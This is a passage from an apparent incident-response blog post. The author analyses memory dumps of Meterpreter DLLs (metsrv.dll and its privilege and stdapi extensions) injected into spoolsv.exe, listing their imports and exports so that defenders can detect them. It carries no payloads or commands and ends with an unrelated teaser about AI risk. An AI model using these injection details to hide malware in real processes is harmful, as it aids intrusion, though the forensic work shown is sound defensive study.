  - KERNEL32.dll.GetOEMCP

  - KERNEL32.dll.GetACP

  - KERNEL32.dll.IsValidCodePage

  - KERNEL32.dll.WriteFile

  - KERNEL32.dll.ReadFile

  - KERNEL32.dll.CreateFileA

  - KERNEL32.dll.CreateThread

  - KERNEL32.dll.TerminateThread

  - KERNEL32.dll.ResumeThread

  - KERNEL32.dll.SetEvent

  - KERNEL32.dll.ReleaseMutex

  - KERNEL32.dll.WaitForSingleObject

  - KERNEL32.dll.CreateMutexA

  - KERNEL32.dll.CreateEventA

  - KERNEL32.dll.WaitForMultipleObjects

  - KERNEL32.dll.GetSystemTime

  - KERNEL32.dll.SystemTimeToFileTime

  - KERNEL32.dll.VirtualAllocEx

  - KERNEL32.dll.OpenProcess

  - KERNEL32.dll.DuplicateHandle

  - KERNEL32.dll.OpenThread

  - KERNEL32.dll.SuspendThread

  - KERNEL32.dll.GetVersionExA

  - KERNEL32.dll.CreateToolhelp32Snapshot

  - KERNEL32.dll.Thread32First

  - KERNEL32.dll.Thread32Next

  - KERNEL32.dll.CreateRemoteThread

  - KERNEL32.dll.GetThreadId

  - KERNEL32.dll.HeapFree

  - KERNEL32.dll.HeapAlloc

  - KERNEL32.dll.HeapReAlloc

  - KERNEL32.dll.GetSystemTimeAsFileTime

  - KERNEL32.dll.RtlUnwindEx

  - KERNEL32.dll.GetCommandLineA

  - KERNEL32.dll.EnterCriticalSection

  - KERNEL32.dll.LeaveCriticalSection

  - KERNEL32.dll.GetTimeZoneInformation

  - KERNEL32.dll.IsProcessorFeaturePresent

  - KERNEL32.dll.IsDebuggerPresent

  - KERNEL32.dll.GetModuleFileNameW

  - KERNEL32.dll.GetModuleHandleExW

  - KERNEL32.dll.WriteConsoleW

  - KERNEL32.dll.EncodePointer

  - KERNEL32.dll.DecodePointer

  - KERNEL32.dll.SetConsoleCtrlHandler

  - KERNEL32.dll.GetConsoleMode

  - KERNEL32.dll.ReadConsoleInputA

  - KERNEL32.dll.SetConsoleMode

  - KERNEL32.dll.GetProcessHeap

  - KERNEL32.dll.AreFileApisANSI

  - USER32.dll.GetThreadDesktop

  - USER32.dll.GetUserObjectInformationW

  - USER32.dll.MessageBoxW

  - USER32.dll.GetDesktopWindow

  - USER32.dll.GetProcessWindowStation

  - ADVAPI32.dll.ReportEventW

  - ADVAPI32.dll.AdjustTokenPrivileges

  - ADVAPI32.dll.ImpersonateLoggedOnUser

  - ADVAPI32.dll.LookupPrivilegeValueA

  - ADVAPI32.dll.RegisterEventSourceW

  - ADVAPI32.dll.DeregisterEventSource

  - ADVAPI32.dll.OpenThreadToken

  - ADVAPI32.dll.OpenProcessToken

sections:

  - .text

    virtual address: 0x1000     size: 0xb3ac4

    raw address:     0x400      size: 0xb3c00

  - .rdata

    virtual address: 0xb5000    size: 0x4019e

    raw address:     0xb4000    size: 0x40200

  - .data

    virtual address: 0xf6000    size: 0x25ad0

    raw address:     0xf4200    size: 0x1e600

  - .pdata

    virtual address: 0x11c000   size: 0xa02c

    raw address:     0x112800   size: 0xa200

  - .reloc

    virtual address: 0x127000   size: 0x571c

    raw address:     0x11ca00   size: 0x5800

imphash: 5df789b340bdc9056bbdeb6485e684b1


Beautiful! We've got the name of the dll, metsrv.dll, its exports and imports. If we extract the dlls from the imports, we get:

ADVAPI32.dll

CRYPT32.dll

KERNEL32.dll

USER32.dll

WINHTTP.dll

WININET.dll

WS2_32.dll


Of these, WINHTTP.dll and WININET.dll are both in the list of late loaded dlls into spoolsv.exe.

What of the others? Let's check the other dumps.

davehull@scrutiny:~/res/malfind_dump$ memdumppe.py process.0xfffffa8005138980.0xf093d40000.dmp 0

imestamp: 2017-03-17T17:57:34+00:00

checksum: 0x12beb5

export name: metsrv.dll

exports:

  0) Init

  1) ReflectiveLoader

...

imphash: 5df789b340bdc9056bbdeb6485e684b1


This dump matches the other and gives us no new information. Next:

davehull@scrutiny:~/res/malfind_dump$ memdumppe.py process.0xfffffa8005138980.0xf093650000.dmp 0

timestamp: 2017-03-17T17:57:37+00:00

checksum: 0x21c86

export name: ext_server_priv.x64.dll

exports:

  0) DeinitServerExtension

  1) GetExtensionName

  2) InitServerExtension

  3) ReflectiveLoader

  4) control

imports:

  - PSAPI.DLL.GetModuleBaseNameA

  - PSAPI.DLL.EnumProcesses

  - KERNEL32.dll.WaitForSingleObject...

  - ADVAPI32.dll.DuplicateToken...

imphash: ffef24858578d3574c5d32e8809de379


Above we have a few more bits of information and much redacted for the sake of space, the name of another injected dll -- ext_server_priv.x64.dll -- and a new imported dll that belongs to the list of late loaded dlls in spoolsv.exe, PSAPI.DLL.

Let's dump the last one:

davehull@scrutiny:~/res/malfind_dump$ memdumppe.py process.0xfffffa8005138980.0xf093c70000.dmp 0

timestamp: 2017-03-17T17:57:53+00:00

checksum: 0x6fb3b

export name: ext_server_stdapi.x64.dll

exports:

  0) DeinitServerExtension

  1) GetExtensionName

  2) InitServerExtension

  3) ReflectiveLoader

imports:

  - PSAPI.DLL.GetDeviceDriverBaseNameW...

  - WINMM.dll.waveInAddBuffer...

  - IPHLPAPI.DLL.GetIpNetTable...

  - SHLWAPI.dll.SHDeleteKeyW

  - WS2_32.dll.accept...

  - KERNEL32.dll.GetModuleFileNameA...

  - USER32.dll.SwitchDesktop...

  - ADVAPI32.dll.ImpersonateLoggedOnUser...

  - ole32.dll.CoCreateInstance...

  - OLEAUT32.dll.VariantClear...

  - MPR.dll.WNetGetUniversalNameA

  - NETAPI32.dll.NetWkstaGetInfo

sections:

  - .text...

imphash: 204d5fb9d32a5334c03d70887f17e301


Another new dll, ext_server_stdapi.x64.dll along with its exports and a redacted list of imports. These imports nearly round out the list of late loaded dlls found in spoolsv.exe., I believe only wkscli.dll is missing.

What are the takeaways?

Attackers are crafty and have been for a long time. This post presents the visible part of the ice berg. There are other ways to inject malicious code into legitimate processes. Some of these may not lend themselves to easy discovery, some may. It's incumbent upon as as defenders, hunters, investigators and insatiably curious types to test and testify to our test results.

Fortunately, though attackers be sneaky and creative, diligent defenders can build detections around late loading dlls or hunt for specific sets of dlls associated with malicious agent migrations.

In future posts, I'd like to explore Truncer's framework and see if Volatility can pull back its veil. That was bad. I'm sorry. I'd also like to dive in deeper on the byte array and explain what's happening there.

I want to encourage you to take a look at memtriage. I don't hear much chatter about it, but I think it's a game changer enabling more rapid response.

Next Up: Amateur hour analysis of the shellcode shown above





Paperclip Maximizers, Artificial Intelligence and Natural Stupidity

Existential risk from AI Some believe an existential risk accompanies the development or emergence of artificial general intelligence (AGI)...